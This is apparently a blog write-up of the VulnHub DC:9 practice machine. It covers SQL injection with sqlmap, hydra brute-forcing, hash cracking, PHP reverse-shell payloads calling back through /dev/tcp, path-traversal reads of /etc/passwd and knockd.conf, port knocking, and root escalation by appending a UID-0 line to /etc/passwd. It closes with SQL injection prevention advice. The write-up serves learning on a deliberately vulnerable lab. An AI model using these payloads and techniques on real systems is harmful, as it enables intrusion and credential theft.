VlunHub DC:9

Richard Marks
System Weakness
Published in
14 min readAug 8, 2023

--

This is a write-up of DC:9 on VulnHub without metasploit — it is for my own learning as well as creating a knowledge bank. For this writeup, I am using Kali Linux in a virtual machine with DC:9 from Vulnhub as a virtual machine both hosted in Virtualbox and configured with a bridged adapter. I know that there are different opinions out there about what is best practice for configuring and isolating your virtual network — and a bridged adapter is not best practice, but I will start here with the simplest and easiest configuration and will most likely change it at a later stage.

First step is to create a directory on the Kali machine for this machine — mine is here:

/home/kali/Documents/VULNHUB/DC:9/

Once you have the vulnerable machine installed and configured within your network, either virtual or physical — you need to find its IP. Depending how long it takes to complete the box, how it how often you switch it off and on again and how it is configured (if you did not set a static IP, it will be getting one from your routers DHCP server) — the IP will change. So you might notice that the IP for this machine ranges from 192.168.1.3–192.168.1.7.

Reconnaissance

There are multiple ways to go about discovering what machines you are connected to on your local network. For a simple virtual network configuration with bridged adaptors, I would recommend netdiscover.

Netdiscover

This is an active/passive address reconnaissance tool, mainly developed for those wireless networks without a dhcp server, when you are wardriving. It can also be used on hub/switched networks. Built on top of libnet and libpcap, it can passively detect online hosts, or search for them, by actively sending ARP requests.

If you run it without narrowing down your scan, it can take a very long time. I would recommend scanning using your ethernet port.

┌──(root㉿kali)-[/home/kali]
└─# netdiscover

Once I have the IP address, the first thing I do is add dc9 to /etc/hosts.

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# vim /etc/hosts

Then put it down the bottom:

Nmap

Server: Apache/2.4.38 (Debian)

Enumeration

I used gobuster to see what additional directories I could find, but didn’t get anything.

┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.1.7

So I tried dirbuster.

If you browse to /config.php

It says you are already logged in as admin. But that doesn’t really do much, because I can’t actually add a recod.

Try check for SQL injection vulnerabilities.

In the DC:9 directory, create a file called search.request and follow the instructions in the below tutorial, watch from 23:49:

https://www.youtube.com/watch?v=nVj8MUKkzQk&ab_channel=Cybr

Find the injection endpoint and type in a test. I will be using the ‘search’ endpoint.

Intercept the post request using burp.

POST /results.php HTTP/1.1

Host: 192.168.1.7

Content-Length: 11

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.1.7

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Referer: http://192.168.1.7/search.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Connection: close



search=joey

Copy an paste that post request into a the local file search.request then run the below command.

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# sqlmap -r search.request

It is vulnerable to a UNION attack!

Now you can work through a series of options with sqlmap to explore the database — I am going to be looking for user details, ideally username and password combinations.

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# sqlmap -r search.request --tables
┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# sqlmap -r search.request --schema --batch

Show users and userDetails.

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# sqlmap -r search.request --columns -T Users --batch
┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# sqlmap -r search.request --dump -D Staff -T Users --batch

This looks good! But it is hashed. I will have a look for other passwords before working on this.

Database: Staff
Table: Users
[1 entry]
+--------+----------------------------------+----------+
| UserID | Password | Username |
+--------+----------------------------------+----------+
| 1 | 856f5de590ef37314e7c3bdf6f8a66dc | admin |
+--------+----------------------------------+----------+
┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# sqlmap -r search.request --dump -D Staff -T StaffDetails --batch
┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# sqlmap -r search.request --dump -D users -T UserDetails --batch
Database: users
Table: UserDetails
[17 entries]
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname | password | reg_date | username | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
+----+------------+---------------+---------------------+-----------+-----------+

You can select a specific column within the table using -C

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# sqlmap -r search.request --dump -D users -T UserDetails -C password --batch

Output:

Database: users
Table: UserDetails
[17 entries]
+---------------+
| password |
+---------------+
| 3kfs86sfd |
| 468sfdfsd2 |
| 4sfd87sfd1 |
| RocksOff |
| TC&TheBoyz |
| B8m#48sd |
| Pebbles |
| BamBam01 |
| UrAG0D! |
| Passw0rd |
| yN72#dsd |
| ILoveRachel |
| 3248dsds7s |
| smellycats |
| YR3BVxxxw87 |
| Ilovepeepee |
| Hawaii-Five-0 |
+---------------+

Copy them into a txt file called passwords.txt. Do the same for usernames, and put them in a file called usernames.txt.

Then use hydra to check for password reuse with the username ‘admin’.

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# hydra -l admin -P passwords.txt 192.168.1.7 http-post-form "/manage.php:username=admin&password=^PASS^&enter=Submit:Your Login Name or Password is invalid" -V

No password reuse, and this didn’t work. So I will try all usernames against all passwords. Notice the uppercase -L for username.txt flag and changing the ^USER^ variable in the http-post-form details.

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# hydra -L usernames.txt -P passwords.txt 192.168.1.7 http-post-form "/manage.php:username=^USER^&password=^PASS^&enter=Submit:Your Login Name or Password is invalid" -V

Still no luck.

So I will try a larger list from seclists against admin. If you don’t have that, you can install it:

apt install seclists

Then use the same command but with the updated list found in this directory: /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# hydra -l admin -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt 192.168.1.7 http-post-form "/manage.php:username=admin&password=^PASS^&enter=Submit:Your Login Name or Password is invalid" -V

But that didn’t work either. So absolutely no sharing of passwords between users. I will have to try the admin password.

Cracking the admin password.

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# hashcat -m 0 admin_password_hash john.lst -o plain_results.txt

Didn’t get any results from that.

Using John, I created a file called ‘pw’ and put the username:password combination in it like this:

admin:856f5de590ef37314e7c3bdf6f8a66dc

Then ran:

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# john --format=raw-md5 pw

After crashing my kali VM once, and then running it for another 20 minutes, I still got nowhere.

While I was waiting, I tried doing some more research on how to crack hashes and ended up at ChatGPT.

I asked ChatGPT for advice, and got this response:

So I tried crackstation.

And just like that, it cracked the hash. Now I have an admin username and password, I can try. If I had known it would be this easy to crack the hash, I would have done that ages ago and it would have saved me hours!

admin:transorbital1

Login at the web portal, and this is what we get:

I am now able to ‘Add Record’ to the data base. The first thing I want to try is to see if I can login to the database.

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# mysql -u admin -h 192.168.1.7 -p
Enter password:
ERROR 2002 (HY000): Can't connect to server on '192.168.1.7' (115)

That didn’t work.

┌──(root㉿kali)-[/home/kali/Documents/VULNHUB/DC:9]
└─# mysql -u admin -h dc9.com -p
Enter password:
ERROR 2002 (HY000): Can't connect to server on 'dc9.com' (115)

Maybe I will try upload a reverse shell as a ‘Malicious Record Payload’. I know that this machine has php on it, because the forms are created with php. So I will try with a php reverse shell.

<?php
$reverseShellCmd = "/bin/bash -c 'bash -i >& /dev/tcp/your_ip/your_port 0>&1'";
exec($reverseShellCmd);
?>

I put it into the firstname field:

<?php $reverseShellCmd = "/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'"; exec($reverseShellCmd); ?>

And got an a SQL syntax error:

Interesting.

I might try this one:

<?php
$ip = '192.168.1.5';
$port = 1234;
exec("/bin/bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'");
?>

Nope.

<?php
$ip = '192.168.1.5';
$port = 1234;
$reverseShellCmd = "/bin/bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'";
?>

Nope.

<?php echo 'Hello World!'?>

This does not have a syntax error and viewing the records, shows a blank record. So I think it executed, but I cannot see the output.

I’ll try this:

<?php
set_time_limit(0);
$ip = '192.168.1.5';
$port = 1234;
$sock = fsockopen($ip, $port);
while(!feof($sock)) {
$command = fgets($sock, 1024);
$output = shell_exec($command);
fwrite($sock, $output);
}
fclose($sock);
?>

Might try:

<?php
set_time_limit(0);
$ip = '192.168.1.5';
$port = 1234;
$sock = fsockopen($ip, $port);
while(!feof($sock)) {
$command = fgets($sock, 1024);
$output = shell_exec($command);
fwrite($sock, $output);
}
fclose($sock);
?>

None of these are working so I think I might try something else.

Looking at everything again, I hadn’t paid much attention to the footer that says ‘File does not exist’. That could mean there might be a Local File Injection (LFI) vulnerability.

Looking for an LFI:

Found an LFI:

http://192.168.1.7/manage.php?file=../../../../../etc/passwd

http://192.168.1.7/manage.php?file=../../../../etc/ssh/sshd_config

Now that we have the LFI, I know that SSH on port 22 is filtered, which means there is a firewall in place and it could require port knocking. I have only seen port knocking once on HTB:Nineveh so I could try looking for a knockd config file and/or a private key.

A private key would be great, but none of these work:

file=../../../../home/admin/.ssh/id_rsa
file=../../../../etc/ssh/ssh_host_rsa_key
file=../../../../etc/ssh/ssh_host_ed25519_key
file=../../../../etc/ssh/ssh_host_ecdsa_key

This site has information on how to configure port knocking with the location of the config file in /etc/knockd.conf — so lets try it. This works!

[openSSH]
sequence = 7469,8475,9842
seq_timeout = 25
command = /sbin/iptables -I INPUT -s %IP% -p tcp - dport 22 -j ACCEPT
tcpflags = syn

[closeSSH]
sequence = 9842,8475,7469
seq_timeout = 25
command = /sbin/iptables -D INPUT -s %IP% -p tcp - dport 22 -j ACCEPT
tcpflags = syn

So I can try port knocking with the above sequence.

To do a port knock, we need to send a TCP packet to each of those ports. The easiest way to do that is to use a for loop and nmap:

You can test your for loop like this:

┌──(root㉿g0tMarks)-[/home/…/HTB/NINEVAH/_nineveh.png.extracted/secret]
└─# for i in 7469 8475 9842; do echo $i; done
7469
8475
9842

Then substitute ‘echo’ with the nmap command:

┌──(root㉿gigakali)-[/home/…/HTB/NINEVAH/_nineveh.png.extracted/secret]
└─# for i in 7469 8475 9842; do nmap -Pn --max-retries 0 -p $i 192.168.1.7 && sleep 1; done

We get the following output:

Now I will do an nmap scan of port 22 to see if it has opened. And it has!

I tried the admin:transorbital1 credentials, and it didn’t work. So I then got Hydra up and running with my usernames.txt and passwords.txt from my previous brute force attempt.

┌──(root㉿g0tMarks)-[~kali/Documents/VULNHUB/DC:9]
└─# hydra -L usernames.txt -P passwords.txt ssh://192.168.1.7

And got 3 valid username and password combos. I was ideally looking for ssh access with fredf or barneyr as I remember from the database that they have administrator roles, so that is unfortunate.

After looking through all of them, unsurprisingly none have sudo permissions, Chandler and Joey have no interesting or useful files — but our Janitor has come up with Trumps :) he had some passwords he found on sticky notes in a directory called ‘secrets for Putin’.

I added the passwords to my passwords list and opened up hydra again, and got Fred Flinstone’s password!

22][ssh] host: 192.168.1.7   login: fredf   password: B4-Tru3-001

After logging in, sudo -l shows us that Fred can run the following script as root without a password.

However, when run — nothing happens, and the script itself appears to be compiled.

So I will run LinEnum.sh to see if there is another method of privilege escalation before going down the ‘test’ route.

But I didn’t find anything else that was helpful — just a reminder of the same priv esc path:

So I will try this path!

Test is an executable:

Originally I thought this CTF might require us to do some reverse engineering and decompile the executable. BUT thankfully when you run the executable it points to a file called test.py.

fredf@dc-9:/opt/devstuff/dist/test$ ./test
Usage: python test.py read append

We can look for that file using the ‘find’ command like this:

find / -name "test.py" -type f 2>/dev/null
  • / is the root path to start the scan from.
  • -name 'test.py' file name.
  • -type f search for file (f) or directory (d)
  • 2>/dev/null discard errors to /dev/null
fredf@dc-9:/opt/devstuff/dist/test$ find / -name "test.py" -type f 2>/dev/null
/opt/devstuff/test.py
/usr/lib/python3/dist-packages/setuptools/command/test.py

We find 2 options. The one in /opt/devstuff is what we are looking for. This is how it works:

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)

else :
f = open(sys.argv[1], "r")
output = (f.read())

f = open(sys.argv[2], "a")
f.write(output)
f.close()

It takes in 2 files as arguments, reads the first one and appends it to the second one — all done as root. So this opens plenty of opportunities for privilege escalation. The easiest method will be to create a new user with root permissions.

To do this, we first need a username and a hashed password to add to the /etc/passwd file.

openssl passwd -1 -salt salt password123
  • openssl a software package the comes pre-installed in kali that is used for cryptography.
  • passwd the command to compute the hash of a password typed in at run-time.
  • -1 the type of hash to use — in this case, MD5 will be sufficient although it would not be in real life.
  • -salt salt use the string ‘salt’ as the salt when reading the password for the terminal.
  • password123 the password to be encrypted.
┌──(root㉿g0tMarks)-[/home/kali]
└─# openssl passwd -1 -salt salt password123
$1$salt$/3NHsNrNmNbOO90IOW9dw/

Now we can put this into a txt file called password.txt in the /tmp directory — as we have write permissions there. We will need to add additional user and permissions information to the txt file to match the format of the /etc/passwd file. Here is a good article for details on the /etc/passwd file.

  • username — g0tMarks
  • salted + hashed password `$salt$/3NHsNrNmNbOO90IOW9dw/`
  • UID — as we want to create root, we need to use 0
  • GID — same as for UID
  • home directory — we’ll use /root
  • shell — I prefer bash, you can also use sh\

My /etc/passwd entry will look like this.

g0tmarks:$1$salt$/3NHsNrNmNbOO90IOW9dw/:0:0::/root:/bin/bash

I will take that and put it in a txt file in the /tmp directory called user.txt

Now we can execute the script:

fredf@dc-9:/tmp$ sudo /opt/devstuff/dist/test/test /tmp/user.txt /etc/passwd

Then test that it worked.

fredf@dc-9:/tmp$ cat /etc/passwd
...
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash
g0tmarks:$1$salt$/3NHsNrNmNbOO90IOW9dw/:0:0::/root:/bin/bash │janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash │g0tmarks:$1$salt$/3NHsNrNmNbOO90IOW9dw/:0:0::/root:/bin/bash

And it worked! Switch to that user:

And get the flag.

That was a fun box!

There are a lot of vulnerabilities that would need to be addressed, but I thought I’d focus on the first vulnerability, because I found this great article on preventing SQL injection with practical solutions to protect against it.

Preventing SQL injection:

The simple act of accepting user input opens the door to exploits. The problem stems primarily from the logical management of data, but luckily, it is fairly easy to avoid these major flaws.

Opportunities for SQL injection typically occur on users entering data like a name, and the code logic failing to analyze this input. The Code, instead, allows an attacker to insert a MariaDB statement, which will run on the database.

Always consider data entered by users, suspect and are in need of strong validation prior to any processing. Perform this validation through pattern matching. For example, if the expected input is a username, restrict entered characters to alphanumeric chars and underscores, and to a certain length. Review an example given below −

if(check_match("/^\w{8,20}$/", $_GET['user_name'], $matches)) {
$result = mysql_query("SELECT * FROM system_users WHERE user_name = $matches[0]");
} else {
echo "Invalid username";
}

--

--